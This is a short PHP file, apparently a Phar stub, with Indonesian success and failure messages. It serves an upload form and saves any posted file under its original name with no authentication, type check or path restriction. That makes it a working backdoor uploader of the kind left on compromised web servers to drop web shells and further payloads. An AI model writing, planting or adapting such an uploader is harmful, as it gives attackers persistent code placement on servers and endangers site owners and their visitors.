<?php
Phar::mapPhar();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (@copy($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
        echo "✅ Berhasil upload file!";
    } else {
        echo "❌ Gagal upload file.";
    }
} else {
    echo '<form method="POST" enctype="multipart/form-data">
            <input type="file" name="f">
            <input type="submit" value="Upload">
          </form>';
}
?>